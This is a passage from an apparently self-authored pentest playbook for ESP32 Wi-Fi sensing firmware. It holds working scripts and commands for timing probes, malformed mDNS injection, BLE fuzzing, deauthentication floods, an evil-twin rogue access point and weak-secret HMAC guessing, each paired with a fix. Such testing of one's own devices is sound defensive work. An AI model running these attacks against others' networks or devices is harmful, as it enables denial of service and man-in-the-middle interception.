# Verify:
echo "STATUS" | ncat -u -w1 192.168.129.29 5501
# Check the version= field in the response
```
**What a finding looks like:**
STATUS response shows older firmware version running = rollback succeeded.
---
## 7. Side-Channel Attacks
### 7.1 Timing Oracle on Authentication
Already covered in section 3.1. The firmware implements constant-time comparison
(volatile XOR accumulation), so this is a validation test rather than an expected finding.
### 7.2 Timing Oracle on Command Routing
| Field | Value |
|-------|-------|
| **Tests** | Whether response timing varies based on command validity (information leak) |
| **Tools** | Python timing script |
| **Finding** | Different commands take measurably different time = reveals which commands exist |
| **Fix** | Normalize response time with a minimum delay |
```python
#!/usr/bin/env python3
"""cmd_timing.py -- Measure response times for various commands."""
import socket
import time
import statistics
TARGET = "192.168.129.29"
PORT = 5501
COMMANDS = [
b"STATUS", # Valid, complex response
b"PING", # Valid, simple response
b"NONEXISTENT", # Invalid command
b"", # Empty
b"A" * 191, # Max-length garbage
b"OTA", # Valid but missing arg (should fail)
b"REBOOT", # Valid but requires auth
]
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2.0)
for cmd in COMMANDS:
times = []
for _ in range(50):
start = time.perf_counter_ns()
sock.sendto(cmd, (TARGET, PORT))
try:
sock.recvfrom(1500)
except socket.timeout:
continue
elapsed = (time.perf_counter_ns() - start) / 1000
times.append(elapsed)
time.sleep(0.06)
if times:
label = cmd[:30].decode(errors="replace")
print(f"{label:32s} n={len(times):3d} "
f"mean={statistics.mean(times):8.0f}us "
f"stdev={statistics.stdev(times):7.0f}us")
sock.close()
```
---
### 7.3 Uptime-Based Timestamp Prediction
| Field | Value |
|-------|-------|
| **Tests** | Whether device uptime is predictable enough to pre-compute valid HMAC timestamps |
| **Tools** | `ncat`, timing measurement |
| **Finding** | Uptime is in STATUS response (no auth needed); attacker can sync timestamp trivially |
| **Fix** | Require auth for STATUS (or at least the uptime field) |
```bash
# Get precise uptime from unauthenticated STATUS
echo "STATUS" | ncat -u -w1 192.168.129.29 5501
# The response includes "uptime=12345s"
# Attacker now knows exact device uptime, can pre-compute HMAC timestamps.
# Combined with a captured or brute-forced secret, this enables authenticated attacks.
```
---
## 8. Dependency and CVE Analysis
### 8.1 ESP-IDF Version CVE Check
| Field | Value |
|-------|-------|
| **Tests** | Known vulnerabilities in ESP-IDF v5.5.2 and bundled components |
| **Tools** | Espressif security advisories, CVE databases |
| **Finding** | Specific ESP-IDF CVEs that affect this version |
| **Fix** | Update ESP-IDF; apply patches; enable mitigations |
```bash
# Check ESP-IDF version from firmware
strings /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin \
| grep -i 'v5\.' | head -5
# Check Espressif security advisories
# https://www.espressif.com/en/security/advisories
# Key CVEs to check for ESP-IDF <= 5.5.x:
# CVE-2024-45479: ESP-IDF BLE stack buffer overflow (NimBLE)
# CVE-2023-28631: WiFi PMF bypass
# CVE-2023-35831: Secure boot bypass on ESP32 V1
# CVE-2024-23723: mDNS parsing vulnerabilities
# Check component versions from build
cat /home/user/git/esp32-hacking/get-started/csi_recv_router/build/project_description.json \
2>/dev/null | python3 -m json.tool | grep -i version
# Check managed component versions
cat /home/user/git/esp32-hacking/get-started/csi_recv_router/dependencies.lock \
2>/dev/null
```
### 8.2 mDNS Component Vulnerabilities
| Field | Value |
|-------|-------|
| **Tests** | mDNS parsing bugs, DNS rebinding, response injection |
| **Tools** | Crafted mDNS packets via `scapy` |
| **Finding** | mDNS library may be vulnerable to crafted responses |
| **Fix** | Update espressif/mdns component; restrict mDNS to query-only if advertisement not needed |
```python
#!/usr/bin/env python3
"""mdns_probe.py -- Send crafted mDNS queries/responses to test parser robustness."""
from scapy.all import *
TARGET = "192.168.129.29"
# Craft an oversized mDNS response with many answers
dns_response = DNS(
id=0x0000,
qr=1,
opcode=0,
aa=1,
rd=0,
qd=None,
an=DNSRR(rrname="_esp-csi._udp.local.", type="PTR", ttl=4500,
rdata="evil-sensor._esp-csi._udp.local.") /
DNSRR(rrname="evil-sensor._esp-csi._udp.local.", type="SRV", ttl=4500,
rdata=b'\x00\x00\x00\x00\x15\xb3' + b'\x07' + b'A' * 200 + b'\x05local\x00') /
DNSRR(rrname="A" * 255 + ".local.", type="A", ttl=4500, rdata="1.2.3.4"),
)
# Send as multicast mDNS (224.0.0.251:5353)
pkt = IP(dst="224.0.0.251") / UDP(sport=5353, dport=5353) / dns_response
send(pkt, verbose=True)
print("Sent crafted mDNS response -- check if device is still responsive")
# Verify device health
import socket, time
time.sleep(1)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(2)
s.sendto(b"PING", (TARGET, 5501))
try:
resp = s.recvfrom(1500)
print(f"Device alive: {resp[0]}")
except:
print("[!] Device not responding after mDNS injection!")
s.close()
```
---
### 8.3 NimBLE Stack Analysis
| Field | Value |
|-------|-------|
| **Tests** | BLE stack vulnerabilities; advertisement parsing bugs |
| **Tools** | `bleak` (Python BLE library), second ESP32 as BLE beacon |
| **Finding** | Crafted BLE advertisements could trigger parsing bugs in NimBLE |
| **Fix** | Update ESP-IDF; validate all BLE advertisement fields before parsing |
```python
#!/usr/bin/env python3
"""ble_scan_target.py -- Check what the ESP32's BLE scan exposes."""
import asyncio
from bleak import BleakScanner
async def scan():
"""Scan for ESP32 devices' BLE presence."""
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
# ESP32 in scan-only mode shouldn't be advertising
# If it IS advertising, that's a finding
print(f" {d.address} RSSI={d.rssi} Name={d.name}")
if d.name and "esp" in d.name.lower():
print(f" [!] ESP32 device advertising: {d.name}")
asyncio.run(scan())
```
The firmware uses BLE in **passive scan mode only** (no advertising), so the ESP32
should NOT appear in BLE scans. If it does, that indicates a misconfiguration.
To test BLE advertisement parsing robustness, use a second ESP32 programmed to
send crafted advertisements with oversized fields, malformed company IDs, etc.
---
## 9. Wireless Attacks
### 9.1 WiFi Adapter Requirements
For WiFi attacks (sections 9.2-9.5), you need a USB WiFi adapter that supports
**monitor mode** and **packet injection**. The Raspberry Pi 5's built-in WiFi
does NOT support monitor mode.
Recommended adapters (all work on RPi5):
- **Alfa AWUS036ACH** (RTL8812AU) -- 2.4/5 GHz, excellent injection
- **Alfa AWUS036ACHM** (MediaTek MT7612U) -- reliable, good range
- **TP-Link TL-WN722N v1** (AR9271) -- 2.4 GHz only, cheap, proven
```bash
# Check if adapter supports monitor mode
sudo iw list | grep -A 10 "Supported interface modes"
# Should include "monitor"
# Enable monitor mode
sudo ip link set wlan1 down
sudo iw dev wlan1 set type monitor
sudo ip link set wlan1 up
# Or using airmon-ng
sudo airmon-ng start wlan1
```
---
### 9.2 Deauthentication Flood
| Field | Value |
|-------|-------|
| **Tests** | PMF effectiveness; deauth flood detection; sensor resilience |
| **Tools** | `aireplay-ng`, `mdk4` |
| **Finding** | Device disconnects and fails to collect CSI during attack = DoS confirmed |
| **Fix** | PMF already enabled (`CONFIG_ESP_WIFI_PMF_REQUIRED=y`); verify router also enforces PMF |
The firmware has `CONFIG_ESP_WIFI_PMF_REQUIRED=y`, which should prevent deauth
attacks IF the router also supports PMF. This test verifies end-to-end protection.
```bash
# Step 1: Find the target network and channel
sudo airodump-ng wlan1mon
# Step 2: Targeted deauth against one sensor
# BSSID = router MAC, STATION = ESP32 MAC
sudo aireplay-ng -0 100 -a <ROUTER_BSSID> -c <ESP32_MAC> wlan1mon
# Step 3: Broader deauth flood
sudo mdk4 wlan1mon d -c <channel>
# Step 4: Monitor sensor's deauth flood detection
# (The firmware detects deauths in promiscuous mode and emits ALERT_DATA)
sudo tcpdump -i eth0 -A 'udp port 5500' | grep ALERT_DATA
# Step 5: Check if sensor stays connected
echo "STATUS" | ncat -u -w2 192.168.129.29 5501
# If no response, the deauth attack succeeded in disconnecting the sensor
```
**What a finding looks like:**
- Sensor goes offline during deauth flood = PMF not enforced by router
- `ALERT_DATA` messages appear = detection works but connection still drops
- Sensor stays connected = PMF is properly enforced end-to-end
---
### 9.3 Evil Twin / Rogue AP
| Field | Value |
|-------|-------|
| **Tests** | Whether the ESP32 will connect to a rogue AP with the same SSID |
| **Tools** | `hostapd`, `dnsmasq` |
| **Finding** | ESP32 connects to rogue AP = WiFi credential theft + MITM |
| **Fix** | WPA3-SAE (immune to evil twin); BSSID pinning in firmware |
```bash
# Step 1: Create hostapd config for rogue AP
cat > /tmp/hostapd-evil.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=TARGET_SSID_HERE
hw_mode=g
channel=6
wpa=2
wpa_passphrase=TARGET_PSK_HERE
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
# Step 2: Set up DHCP for captured clients
cat > /tmp/dnsmasq-evil.conf << 'EOF'
interface=wlan1
dhcp-range=192.168.100.10,192.168.100.50,12h
dhcp-option=3,192.168.100.1
dhcp-option=6,192.168.100.1
EOF
# Step 3: Configure interface
sudo ip addr add 192.168.100.1/24 dev wlan1
# Step 4: Start evil twin
sudo hostapd /tmp/hostapd-evil.conf &
sudo dnsmasq -C /tmp/dnsmasq-evil.conf &
# Step 5: Deauth the ESP32 from the real AP to force reconnection
sudo aireplay-ng -0 10 -a <REAL_AP_BSSID> -c <ESP32_MAC> wlan1mon
# Step 6: Wait for ESP32 to connect to evil twin
# Monitor hostapd output for association
# If ESP32 connects, you now have MITM position
# Cleanup:
sudo killall hostapd dnsmasq
```
The firmware uses `CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y`, which means it will
attempt WPA3-SAE first and fall back to WPA2-PSK. The evil twin test must use the
correct PSK. With WPA3, the evil twin attack is significantly harder because SAE
prevents offline dictionary attacks and the attacker would need the actual PSK.
---
### 9.4 Probe Request Harvesting
| Field | Value |
|-------|-------|
| **Tests** | What the ESP32 reveals in its own probe requests when scanning |
| **Tools** | `airodump-ng`, `tcpdump` in monitor mode |
| **Finding** | ESP32 probe requests may reveal the target SSID |
| **Fix** | Use directed scans only; minimize probing |
```bash
# Capture probe requests from ESP32 devices
sudo airodump-ng wlan1mon --output-format csv -w /tmp/probes
# Or with tcpdump:
sudo tcpdump -i wlan1mon -e 'type mgt subtype probe-req' -nn
# Look for the ESP32's MAC address in probe requests
# ESP32-WROOM-32 OUI: varies by chip, check with:
echo "STATUS" | ncat -u -w1 192.168.129.29 5501 | grep -i mac
```
---
### 9.5 BLE Attacks
| Field | Value |
|-------|-------|
| **Tests** | BLE advertisement spoofing to inject fake data into the sensor's BLE scanner |
| **Tools** | Second ESP32, `hcitool`, `bluetoothctl`, `bleak` |
| **Finding** | Fake BLE advertisements accepted as legitimate device sightings |
| **Fix** | Validate BLE data at the collector level; add anomaly detection |
The firmware runs BLE in **passive scan mode only** -- it receives advertisements
but does not advertise or accept connections. The attack surface is limited to
injecting fake advertisement data that gets reported to the collector.
```bash
# Using the Pi's built-in Bluetooth to send crafted advertisements:
# (Requires BlueZ tools)
# Set up advertising with a specific company ID to test fingerprinting
sudo hciconfig hci0 up
sudo hcitool -i hci0 cmd 0x08 0x0008 \
1E 02 01 06 03 03 AA FE 17 16 AA FE 10 00 02 \
77 65 62 00 01 02 03 04 05 06 07 08 09 0A 0B
# Better: use a second ESP32 programmed as a BLE beacon with specific data
# to test the firmware's BLE advertisement parser for:
# - Oversized advertisement data (>31 bytes in extended advertising)
# - Malformed company_id fields
# - Extremely long device names
# - Invalid BLE flags
```
For BLE fuzzing with a second ESP32:
```c
/* ble_fuzz_beacon.c -- Minimal ESP32 program to send crafted BLE ads */
/* Flash to a second ESP32 and place near the target sensor */
#include "esp_bt.h"
#include "esp_gap_ble_api.h"
/* Oversized manufacturer data to test parser bounds */
static uint8_t adv_data[] = {
0x02, 0x01, 0x06, /* Flags */
0xFF, /* Length (255 -- oversized!) */
0xFF, 0x4C, 0x00, /* Apple company ID */
/* ... fill with 250 bytes of garbage */
};
/* Set this as raw advertising data via esp_ble_gap_config_adv_data_raw() */
```
---
## 10. Automated Test Scripts
### 10.1 Complete Pentest Runner
```bash
#!/usr/bin/env bash
# esp32-pentest.sh -- Automated pentest suite for ESP32 CSI sensors
# Usage: ./esp32-pentest.sh <sensor-ip> [secret]
set -euo pipefail
TARGET="${1:?Usage: $0 <sensor-ip> [secret]}"
SECRET="${2:-}"
PORT=5501
RESULTS="/tmp/esp32-pentest-$(date +%Y%m%d-%H%M%S).log"
log() { printf "[%s] %s\n" "$(date +%H:%M:%S)" "$*" | tee -a "$RESULTS"; }
log "=== ESP32 Pentest: $TARGET ==="
# Test 1: Unauthenticated information disclosure
log "--- Test 1: Information Disclosure ---"
for cmd in STATUS CONFIG PROFILE HELP PING; do
resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true)
if [ -n "$resp" ]; then
log " $cmd: $(echo "$resp" | head -c 120)"
else
log " $cmd: <no response>"
fi
done
# Test 2: Unauthenticated state modification
log "--- Test 2: Unauth State Modification ---"
for cmd in "CSI OFF" "PRESENCE OFF" "LOG NONE" "RATE 10" "ALERT OFF"; do
resp=$(echo "$cmd" | ncat -u -w2 "$TARGET" "$PORT" 2>/dev/null || true)
if echo "$resp" | grep -q "^OK"; then
log " [VULN] $cmd accepted without auth: $resp"
elif echo "$resp" | grep -q "ERR AUTH"; then
log " [SAFE] $cmd requires auth"
else
log " [????] $cmd response: $resp"
fi
done
# Restore settings
echo "CSI ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
echo "PRESENCE ON" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
echo "LOG INFO" | ncat -u -w1 "$TARGET" "$PORT" >/dev/null 2>&1 || true
# Test 3: Input validation
log "--- Test 3: Input Validation ---"
for payload in \
"RATE -1" "RATE 999999" "RATE 0" \
"POWER -1" "POWER 100" \
"HOSTNAME $(python3 -c 'print("A"*100)')" \
"HOSTNAME %x%x%n" \
"" \
"$(python3 -c 'print("X"*191)')"; do
resp=$(echo "$payload" | ncat -u -w1 "$TARGET" "$PORT" 2>/dev/null || true)
log " Input: $(echo "$payload" | head -c 40)... -> $(echo "$resp" | head -c 80)"
done
# Test 4: mDNS enumeration
log "--- Test 4: mDNS Discovery ---"
mdns_result=$(avahi-browse -art 2>/dev/null | grep -A2 '_esp-csi' || echo "<none>")
log " mDNS: $mdns_result"
# Test 5: Port scan
log "--- Test 5: Port Scan ---"
nmap_result=$(nmap -sU -p 5500,5501,5353 --open "$TARGET" 2>/dev/null | grep "open" || true)
log " Open ports: $nmap_result"
log "=== Results saved to $RESULTS ==="
```
### 10.2 HMAC Brute-Force Test (Secret Entropy Validation)
```python
#!/usr/bin/env python3
"""hmac_bruteforce.py -- Test whether auth secret has sufficient entropy.
This is NOT a practical brute-force attack (128-bit secret has 2^128 keyspace).
It tests edge cases: short secrets, predictable secrets, known-weak patterns.
"""
import hashlib
import hmac
import socket
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29"
PORT = 5501
# Get device uptime for valid timestamp
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2.0)
sock.sendto(b"STATUS", (TARGET, PORT))
resp = sock.recvfrom(1500)[0].decode()
uptime = 0
for field in resp.split():
if field.startswith("uptime="):
uptime = int(field.split("=")[1].rstrip("s"))
print(f"Device uptime: {uptime}s")
# Test common/weak secrets
WEAK_SECRETS = [
"", # Empty (auth disabled)
"secret", # Common default
"password", # Common default
"admin", # Common default
"12345678", # Numeric
"0" * 32, # All zeros
"f" * 32, # All f's
"deadbeefdeadbeefdeadbeefdeadbeef", # Classic test pattern
"test", # Development leftover
]
print(f"\nTesting {len(WEAK_SECRETS)} weak secrets...")
for secret in WEAK_SECRETS:
payload = f"{uptime}:STATUS"
digest = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).hexdigest()
cmd = f"HMAC:{digest[:32]}:{payload}".encode()
sock.sendto(cmd, (TARGET, PORT))
try:
resp = sock.recvfrom(1500)[0].decode()
if "ERR AUTH" not in resp:
print(f" [!] SECRET FOUND: '{secret}' -> {resp[:60]}")
break
# else: expected failure
except socket.timeout:
pass
import time; time.sleep(0.06)
else:
print(" [+] No weak secrets found (good)")
sock.close()
```
---
## Summary: Attack Priority Matrix
| Priority | Attack | Difficulty | Impact | Tools Needed |
|----------|--------|-----------|--------|-------------|
| P0 | Unauth command abuse (3.3) | Trivial | High -- blind sensors | `ncat` |
| P0 | OTA MITM (6.1) | Easy | Critical -- RCE | HTTP server, ARP spoof |
| P1 | Flash dump (5.2) | Easy (physical) | Critical -- all secrets | USB cable, `esptool.py` |
| P1 | NVS extraction (4.3) | Easy (physical) | High -- auth secret | USB cable, `esptool.py` |
| P1 | UART capture (5.1) | Easy (physical) | High -- auth secret prefix | Serial adapter |
| P1 | Data injection (3.5) | Easy | Medium -- fake data | Python socket |
| P2 | Nonce cache overflow (3.2) | Medium | Medium -- replay auth cmds | Python HMAC |
| P2 | Deauth flood (9.2) | Medium | Medium -- DoS | Monitor-mode adapter |
| P2 | Evil twin (9.3) | Hard | High -- MITM | Monitor-mode adapter |
| P2 | mDNS recon (2.1) | Trivial | Low -- info disclosure | `avahi-browse` |
| P3 | UDP fuzzing (2.4) | Easy | Varies -- crash = high | Python |
| P3 | BLE injection (9.5) | Medium | Low -- fake data | Second ESP32 |
| P3 | JTAG access (5.3) | Hard (soldering) | Critical -- full debug | JTAG adapter |
| P3 | Timing oracle (3.1) | Hard | Low -- already mitigated | Python |
| P3 | Firmware RE (4.1, 4.2) | Easy | Info -- aids other attacks | `strings`, `binwalk` |
---
## Quick Reference: Files and Paths
| Item | Path |
|------|------|
| Firmware source | `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c` |
| Binary | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin` |
| ELF | `/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf` |
| sdkconfig | `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults` |
| Partitions | `/home/user/git/esp32-hacking/get-started/csi_recv_router/partitions.csv` |
| Security audit | `/home/user/git/esp32-hacking/SECURITY-AUDIT.md` |
| esp-ctl auth | `/home/user/git/esp-ctl/src/esp_ctl/auth.py` |
| NVS tool | `$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py` |
| Sensors | `192.168.129.29` (muddy-storm), `.30` (amber-maple), `.31` (hollow-acorn) |